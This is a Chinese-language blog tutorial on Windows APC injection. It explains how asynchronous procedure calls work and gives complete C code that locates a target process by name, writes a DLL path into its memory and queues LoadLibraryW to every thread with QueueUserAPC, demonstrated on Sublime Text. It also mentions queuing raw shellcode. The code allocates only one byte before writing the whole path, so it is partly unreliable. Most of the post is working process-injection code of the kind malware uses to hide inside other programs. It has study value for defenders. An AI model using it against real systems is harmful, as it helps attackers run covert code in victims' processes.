APC注入

原理

APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
注入流程和之前的远程注入差不多

QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode
一个进程中,包含有多个线程,为了确保插入的APC能够被执行,所以,向目标进程的所有线程都插入相同的APC,实现加载DLL的操作。这样,只要进程中任意线程被唤醒,开始执行APC的时候,便会执行插入的APC,实现DLL注入。

实现

首先还是先获取Pid

DWORD Pid(WCHAR* szName)
{
    HANDLE hprocessSnap = NULL;
    PROCESSENTRY32  pe32 = { 0 };
    hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    /*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hprocessSnap, &pe32))
    {
        do {
            if (!wcscmp(szName, pe32.szExeFile))
                return (int)pe32.th32ProcessID;
        } while (Process32Next(hprocessSnap, &pe32));
    }
    else
        CloseHandle(hprocessSnap);
    return 0;
}

再通过获取的Pid来获取对应的线程id,循环插入APC,为了提高命中率可以对所有线程进行插入

DWORD dwThreadID;
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    BOOL S = Thread32First(hTheader, &te32);
    while (S)
    {
        if (te32.th32OwnerProcessID == dwId)
        {
            HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
            DWORD dwRet = NULL;
            dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
            if (NULL == dwRet)
            {
                printf("QueueUserAPC:%d\n", GetLastError());
                return NULL;
            }
            CloseHandle(hThread);
        }
        S = Thread32Next(hTheader, &te32);
    }

完整代码

DWORD Pid(WCHAR* szName)
{
    HANDLE hprocessSnap = NULL;
    PROCESSENTRY32  pe32 = { 0 };
    hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    /*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hprocessSnap, &pe32))
    {
        do {
            if (!wcscmp(szName, pe32.szExeFile))
                return (int)pe32.th32ProcessID;
        } while (Process32Next(hprocessSnap, &pe32));
    }
    else
        CloseHandle(hprocessSnap);
    return 0;
}

bool Inject( DWORD dwId,WCHAR* szPath)//参数1:目标进程id  参数2:目标dll路径
{
    DWORD* pThreadId = NULL;
    //一、在目标进程中申请一个空间
    /*
    【1.1 获取目标进程句柄】
    参数1:想要拥有的进程权限(本例为所有能获得的权限)
    参数2:表示所得到的进程句柄是否可以被继承
    参数3:被打开进程的PID
    返回值:指定进程的句柄
    */
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
    /*
    【1.2 在目标进程的内存里开辟空间】
    参数1:目标进程句柄
    参数2:保留页面的内存地址,一般用NULL自动分配
    参数3:欲分配的内存大小,字节单位
    参数4:MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
    参数5:PAGE_READWRITE 区域可被应用程序读写
    返回值:执行成功就返回分配内存的首地址,不成功就是NULL
    */
    LPVOID pRemoteAddress = VirtualAllocEx(
        hProcess,
        NULL,
        1,
        MEM_COMMIT,
        PAGE_READWRITE
    );

    //二、 把dll的路径写入到目标进程的内存空间中

    DWORD dwWriteSize = 0;
    /*
    【写一段数据到刚才给指定进程所开辟的内存空间里】
    参数1:OpenProcess返回的进程句柄
    参数2:准备写入的内存首地址
    参数3:指向要写的数据的指针(准备写入的东西)
    参数4:要写入的字节数(东西的长度+0/)
    参数5: 返回值。返回实际写入的字节
    */
    WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, 0);

    HMODULE hMoudle = GetModuleHandle(L"kernel32.dll");
    //获取LoadLibrary地址
    LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hMoudle, "LoadLibraryW");
    if (!dwLoadAddr)
    {
        printf("GetProcAddress Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        CloseHandle(hMoudle);
        return FALSE;
    }
    //获取ThreadId
    DWORD dwThreadID;
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    BOOL S = Thread32First(hTheader, &te32);
    while (S)
    {
        if (te32.th32OwnerProcessID == dwId)
        {
            HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
            DWORD dwRet = NULL;
            dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
            if (NULL == dwRet)
            {
                printf("QueueUserAPC:%d\n", GetLastError());
                return NULL;
            }
            CloseHandle(hThread);
        }
        S = Thread32Next(hTheader, &te32);
    }
    return 0;
}

测试

这里还是使用Subilme来进行插入演示

成功插入弹窗
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。其中,为了增加APC被执行的可能性,所以向目标进程中所有的线程都插入的APC。
如果出现向指定进程的所有线程插入APC导致进程崩溃的问题,可以采取倒序遍历线程ID的方式进行倒序插入来解决程序崩溃问题。

posted @ 2021-03-10 17:03  Lushun  阅读(934)  评论(0编辑  收藏  举报